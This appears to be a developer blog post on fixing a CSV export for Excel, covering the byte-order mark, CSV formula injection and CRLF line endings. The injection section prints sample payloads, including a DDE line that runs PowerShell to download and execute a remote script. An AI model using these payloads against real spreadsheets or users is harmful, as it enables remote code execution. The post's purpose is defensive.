Someone Asked If My CSV Export Worked in Excel. It Didn't.

Someone asked me a question about a small feature I shipped. Seven words:

"Is the exported file OK in Excel?"

I said yes. The CSV was valid. RFC 4180 compliant. Every field quoted, every embedded quote escaped.

Then I actually checked, and found three bugs. The file opened. It was also unreadable.

Bug 1: No BOM, so every accent broke

This is the one that reliably bites people.

const esc = (v) => '"' + String(v ?? "").replace(/"/g, '""') + '"';
const csv = ["Date", "Task"].join(",") + "\n" + rows.map(r => r.map(esc).join(",")).join("\n");

// Looks right. Is right. Ships.
new Blob([csv], { type: "text/csv" });

The bytes are valid UTF-8. The problem is that valid UTF-8 is not the same as identifiable UTF-8. Unicode has no magic number at the start of a stream, so a decoder that doesn't already know the encoding has to guess.

Excel on Windows guesses using the system's ANSI codepage, which is usually Windows-1252, not UTF-8. So every non-ASCII character gets decoded as the wrong character.

A task called Noel's Konsepsyon - U+2019 is three UTF-8 bytes, E2 80 99 - gets read as three Windows-1252 characters:

Noel's Konsepsyon     <- what you wrote
Noel’s Konsepsyon   <- what Excel shows

Nothing is corrupted in storage. The file is fine. Excel is simply reading it with the wrong decoder and there is no way for it to know.

The fix is a byte-order mark. U+FEFF, encoded as EF BB BF at the very start of the file. It's technically a deprecated Unicode character, which is exactly why nobody else uses it as a sentinel - nothing legitimate starts with it, so it is unambiguous.

new Blob(["\uFEFF" + csv], { type: "text/csv;charset=utf-8" });

One invisible character. Every accent survives.

charset=utf-8 in the Blob type does not help here. That MIME parameter is not carried into a downloaded file - once the browser saves it to disk, the bytes are all the reader gets. The BOM is the only in-band signal.

Bug 2: CSV injection, which is a real security issue

CSV injection is in OWASP's Injection Prevention Cheat Sheet for a reason.

If a cell begins with =, +, -, or @, Excel treats it as a formula, not text. Formula fields can call functions, read other cells, and in older versions execute shell commands via DDE.

The attack doesn't need a malicious user. It needs a user who pastes in text from somewhere untrusted, or a field that echoes back something someone else typed. Task names, customer names, imported issue titles - all attacker-influenced in practice.

// A task named this executes in Excel, not displays:
=cmd|'/C calc'!A0
=HYPERLINK("http://evil.example","Click for details")
=1+1+cmd|'/C powershell IEX(wget 0dayattack.com/shell.ps1)'!A0

Fix: prefix anything starting with a dangerous character with an apostrophe. Excel reads the apostrophe as a text marker, does not display it, and renders the cell as literal text.

const DANGEROUS = /^[=+\-@\t\r]/;

const esc = (v) => {
  let s = String(v ?? "");
  if (DANGEROUS.test(s)) s = "'" + s;
  return '"' + s.replace(/"/g, '""') + '"';
};

Note that \t and \r are in that set. Excel and LibreOffice both treat a tab or carriage return at the start of a cell as a formula prefix in some import paths.

This one matters more than the encoding bug, because encoding is a cosmetic annoyance and this is a code-execution path. Both shipped in the same function.

Bug 3: Line endings, and quoting everything

RFC 4180 specifies CRLF between records. I was emitting bare \n.

I want to be honest about severity here: modern Excel generally handles LF-only files fine. The spec violation is real, and older Excel versions and some third-party import paths misparse it into a single merged row - but this is the least likely of the three to actually bite you. Fix it because it's free, not because it's urgent.

"\r\n"

The quoting rule I had also deserved a second look. Quoting every field isn't just stylistically consistent, it's more robust than quoting only when necessary:

• A field containing a comma, quote, or newline must be quoted
• A field containing only text looks identical either way, until someone edits it in a spreadsheet app and re-saves

Quoting unconditionally means the escaping logic has exactly one path to get wrong, instead of a conditional.

The version that shipped

export function toCSV(rows) {
  // Excel compatibility - three details matter:
  // 1. Leading = + - @ get an apostrophe so Excel never runs them as
  //    formulas (CSV injection).
  // 2. Every field is quoted, embedded quotes doubled.
  // 3. CRLF line endings, per RFC 4180.
  // exportCSV prepends a UTF-8 BOM so accented characters survive Windows.
  const esc = (v) => {
    let s = String(v == null ? "" : v);
    if (/^[=+\-@\t\r]/.test(s)) s = "'" + s;
    return '"' + s.replace(/"/g, '""') + '"';
  };
  return (
    ["Date", "Task", "Category", "Completed At"].map(esc).join(",") +
    "\r\n" +
    rows.map((r) => [r.date, r.text, r.kind || "", r.stamp].map(esc).join(",")).join("\r\n")
  );
}

export function exportCSV(rows) {
  downloadBlob(
    new Blob(["\uFEFF" + toCSV(rows)], { type: "text/csv;charset=utf-8" }),
    "history.csv"
  );
}

The actual lesson

"It's valid CSV" was never the requirement. The requirement was "opens correctly in Excel."

Those are different claims, and I had only tested the first one. My test suite passed on the broken version - it was asserting startsWith("Date,Task,..."), which the original code satisfied. The tests were shaped around the implementation instead of around what a person would experience.

Three checks would have caught all of it:

// 1. Byte 0 must be the BOM
expect(bytes[0]).toBe(0xEF);

// 2. No record may start a formula
expect(rows.every(r => !/^[=+\-@]/.test(r.text))).toBe(true);

// 3. Non-ASCII must survive a round trip
expect(toCSV(rows)).toContain("Noel's");

A last question worth asking, since it caught all three: what will this look like on someone else's machine? I built and tested on one OS with one locale. Every single bug was invisible there and only appeared on Windows Excel with a non-English name in the data.